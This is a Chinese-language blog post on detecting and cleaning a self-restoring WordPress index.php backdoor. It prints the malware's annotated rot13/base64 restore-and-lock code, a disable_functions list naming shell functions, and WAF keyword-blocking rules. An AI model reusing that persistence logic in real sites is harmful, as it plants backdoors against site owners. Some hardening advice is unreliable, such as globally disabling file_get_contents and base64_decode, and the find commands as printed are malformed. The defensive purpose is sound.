若想确认自己的 WordPress 站点是否遭受入侵,一种直接有效的方法就是检查根目录下 index.php 文件的修改时间与文件大小是否出现异常。今天分享的这个案例,属于隐藏较深且极具代表性的一类后门——它不仅藏身于首页文件中,还为自己设置了“双重防护”机制。
本文将详细讲解如何识别并清除 WordPress 网站中常见的 index.php 后门代码,重点聚焦于那种利用 str_rot13 配合 base64 进行混淆的恶意逻辑。我们会从行为特征入手,提供紧急响应步骤、手动清理方法,以及一套值得长期执行的安全加固策略。
如果你在服务器上发现 index.php 里有一段诡异的 PHP 代码,并且它似乎具备“自我修复”能力——删除后又重新出现,那基本可以断定,你遇到的正是下文所要描述的这类后门。其核心思路很简单:攻击者在某个隐蔽位置存放一份混淆后的代码副本,然后定期检查 index.php 是否被恢复到原始状态。一旦检测到被修改,就立即用自己的“备份”重新覆盖上去,同时将文件权限改为 0444(只读),让你想编辑也无从下手。
代码行为解析
$i_p = "index.php";
$index = file_get_contents($i_p);
$path = "{index_hide}"; // 注意:这不是合法路径,而是攻击者伪造的隐藏文件标识
if (file_exists($path)) {
$index_hide = file_get_contents($path);
// 双重 str_rot13 + base64 解码 —— 典型混淆手法
$index_hide = base64_decode(str_rot13(base64_decode(str_rot13($index_hide))));
if (md5($index) !== md5($index_hide)) {
@chmod($i_p, 0644); // 临时提升写权限
@file_put_contents($i_p, $index_hide); // 强制覆写 index.php
@chmod($i_p, 0444); // 锁定为只读,防人工编辑
}
}
⚠️ 关键风险点:
- 那个 {index_hide} 根本不是什么标准文件路径,攻击者通常会将其藏匿于网站根目录、wp-includes/ 目录下,或者隐蔽的子目录(如 .well-known/、cache/)中。有时它甚至会伪装成 .htaccess 或图片文件,一眼难以察觉异常。
- str_rot13(base64_decode(...)) 这种组合是典型的混淆套路,目的就是绕过基础杀毒扫描。
- 0444 的权限设置,表面上看似“保护”文件不被篡改,实则暴露了攻击者的意图——他们就是要阻止你直接编辑 index.php。
- 如果子域名下的 WHMCS 返回 403 Forbidden,很大概率是因为攻击者修改了 .htaccess,或者禁用了 PHP 执行,又或者通过 LiteSpeed 规则拦截了未授权访问路径。
️ 紧急响应流程(立即执行)
- 隔离站点:先将主站和 WHMCS 子域名通过 .htaccess 或服务器配置重定向到维护页面,防止进一步扩散。
- 备份取证(仅限专业人员操作):将可疑文件(index.php、{index_hide}、.htaccess、wp-config.php、所有插件/主题的 functions.php)全部保存一份用于分析。切勿在线直接编辑。
- 彻底清空 & 重建:
- 删除全部网站文件,但保留 wp-content 中的 uploads/ 以及那些经过验证安全的 themes/、plugins/ 子目录。
- 从 wordpress.org 下载最新官方 ZIP 包,解压后上传纯净的 wp-admin/、wp-includes/ 以及根目录核心文件(index.php、wp-login.php 等)。
- 使用高强度密码重新设置数据库用户权限,同时检查 wp_users 表中是否存在异常管理员账号。
- WHMCS 专项处理:
- 确认 WHMCS 的安装目录与 WordPress 保持独立。
- 删除根目录下所有非官方文件,尤其 index.php、configuration.php、.env 这几个。
- 从 whmcs.com 下载对应版本安装包,仅替换核心文件。
- 检查 LiteSpeed 的 ModSecurity 规则或 .htaccess,确认是否误拦截了 /admin/ 或 /includes/ 路径。
✅ 安全加固建议(必须落实)
- 权限最小化:
find /path/to/wordpress -type f -exec chmod 644 {} ; find /path/to/wordpress -type d -exec chmod 755 {} ; chmod 444 wp-config.php && chmod 444 .htaccess - 禁用危险函数(在 php.ini 或 LiteSpeed 配置中):
disable_functions = file_get_contents,file_put_contents,base64_decode,str_rot13,eval,system,shell_exec - 启用 Web 应用防火墙(WAF):LiteSpeed 自带的 WAF 规则集务必开启「Malware Scanner」和「PHP Backdoor Detection」。同时推荐 Cloudflare WAF 配合自定义规则,直接拦截 str_rot13(、base64_decode( 这类关键词。
- 定期审计:可使用 Wordfence 或 Sucuri SiteCheck 扫描核心文件完整性。此外,登录失败锁定和双重验证也应当部署到位。
? 重要提醒:此后门的来源通常是弱密码、未及时更新的插件(比如旧版的 WP GDPR Compliance、Slider Revolution),或者被感染的第三方主题。切勿天真地以为“只删除后门代码”就能解决问题——攻击者很可能已经在数据库、其他 PHP 文件,甚至 cron 任务中埋下了多个后门。完整重装 + 密码轮换 + 插件溯源,才是唯一可靠的解决方案。
网站安全从来不是一次性任务,而是一个持续优化的过程。每一次版本更新、每一次权限审查、每一次日志复盘,都是在为网站的生命力增添一道保障。
